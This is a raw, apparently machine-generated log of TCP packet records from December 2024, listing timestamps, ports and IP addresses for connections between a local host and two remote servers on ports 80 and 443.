Dec 7, 2024 00:15:49.599981070 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.600064039 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.600075006 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.600106955 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.601001024 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.601052046 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.601090908 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.601135015 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.601970911 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.602032900 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.602083921 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.602137089 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.602960110 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.603034973 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.603063107 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.603106976 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.603944063 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.604024887 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.604057074 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.604176044 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.604943991 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.605032921 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.605062008 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.605104923 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.605887890 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.605943918 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.679292917 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:49.679318905 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:49.679497004 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:49.679971933 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:49.679984093 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:49.746247053 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.746267080 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.746313095 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.746336937 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.746436119 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.746490955 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.746573925 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.746615887 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.747467995 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.747546911 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.747575998 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.747667074 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.748415947 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.748487949 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.748519897 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.748661041 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.749439955 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.749494076 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.749538898 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.749579906 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.750407934 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.750472069 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.750507116 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.750646114 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.751457930 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.751516104 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.751559973 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.751688004 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.752412081 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.752461910 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.752501011 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.752540112 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.753428936 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.753495932 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.753555059 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.753726959 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.754388094 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.754453897 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.754508018 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.754553080 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.755388975 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.755455971 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.755525112 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.755570889 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.756362915 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.756416082 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.756477118 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.756527901 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.757383108 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.757430077 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.757507086 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.757551908 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.758388042 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.758500099 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.758553028 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.759387970 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.759435892 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.759489059 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.759529114 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.760369062 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.760415077 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.760446072 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.760508060 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.761336088 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.761383057 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.761445045 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.761488914 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.762330055 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.762434959 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.762490034 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.763343096 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.763398886 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.763430119 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:49.763478994 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.801527977 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:49.801641941 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:49.806749105 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:49.806756020 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:49.809091091 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:49.809096098 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:49.815495968 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:49.890950918 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:49.890979052 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:49.891019106 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:49.891056061 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:49.891094923 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:49.891102076 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:49.891160011 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:49.903340101 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:49.903386116 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:49.903584957 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:49.904647112 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:49.904659033 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:49.935271025 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.075690031 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.075711012 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.075758934 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.075768948 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.075799942 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.075833082 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.129388094 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.129404068 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.129478931 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.129486084 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.129528999 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.252655983 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.252723932 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.252759933 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.252830029 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.253196001 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.253290892 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.253334999 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.254138947 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.254201889 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.254328012 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.254421949 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.255162001 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.255232096 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.255261898 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.255553007 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.255568027 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.255578041 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.255630016 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.255639076 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.255672932 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.255688906 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.256134987 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.256186962 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.256217957 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.256259918 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.257118940 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.257236004 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.257261038 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.257302046 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.258558035 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.258570910 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.258639097 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.259120941 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.259236097 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.259279966 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.260133982 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.260211945 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.260235071 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.260274887 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.261121988 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.261230946 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.261290073 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.261332989 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.262101889 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.262154102 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.262195110 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.262233019 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.263092041 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.263139963 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.263190985 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.263233900 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.264089108 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.264149904 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.264173985 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.264216900 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.265093088 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.265197992 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.265228987 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.265275955 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.266093969 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.266144991 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.266230106 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.266273975 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.267079115 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.267184973 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.267246008 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.268222094 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.268233061 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.268313885 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.269057989 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.269109011 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.269149065 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.269331932 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.270075083 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.270179987 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.270328999 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.271085978 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.271167040 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.271184921 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.271255970 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.272034883 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.272109032 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.272166967 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.272222042 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.273036957 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.273119926 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.273145914 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.273431063 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.274029016 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.274142981 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.274215937 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.275022030 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.275099993 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.275137901 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.275180101 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.276030064 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.276103973 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.276135921 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.276180983 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.277012110 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.277080059 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.277116060 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.277512074 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.278103113 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.278206110 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.278274059 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.279158115 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.279169083 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.279237986 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.279987097 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.280102968 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.280184031 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.281022072 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.281097889 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.281111002 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.281285048 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.282010078 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.282072067 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.282098055 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.282143116 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.283004999 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.283082008 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.283083916 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.283171892 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.283986092 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.284070969 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.284126043 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.284281969 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.285150051 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.285152912 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.285161972 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.285176992 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.285193920 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.285239935 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.285315037 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.285315037 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.285337925 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.285471916 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.285985947 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.286050081 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.286060095 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.286134005 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.286973000 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.287051916 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.287087917 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.287353992 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.287954092 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.288008928 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.288081884 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.288197994 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.288942099 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.289057016 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.289216995 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.289968014 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.290031910 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.290102959 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.290246010 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.290920019 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.290985107 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.291043043 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.291110039 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.291941881 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.292021036 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.292041063 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.292083979 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.292912960 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.292979002 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.293036938 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.293072939 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.293915987 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.293972969 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.294013023 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.294164896 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.294893980 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.294945002 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.294991016 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.295037985 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.295855999 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.295880079 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.295949936 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.295960903 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.295986891 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.296010971 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.296052933 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.296065092 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.296109915 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.296912909 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.296988964 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.297039032 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.297310114 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.297893047 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.297952890 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.297986984 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.298036098 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.298902035 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.298974037 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.299067974 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.299113035 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.299880028 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.299979925 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.300041914 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.300937891 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.300981998 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.301026106 CET	80	49823	185.215.113.206	192.168.2.6
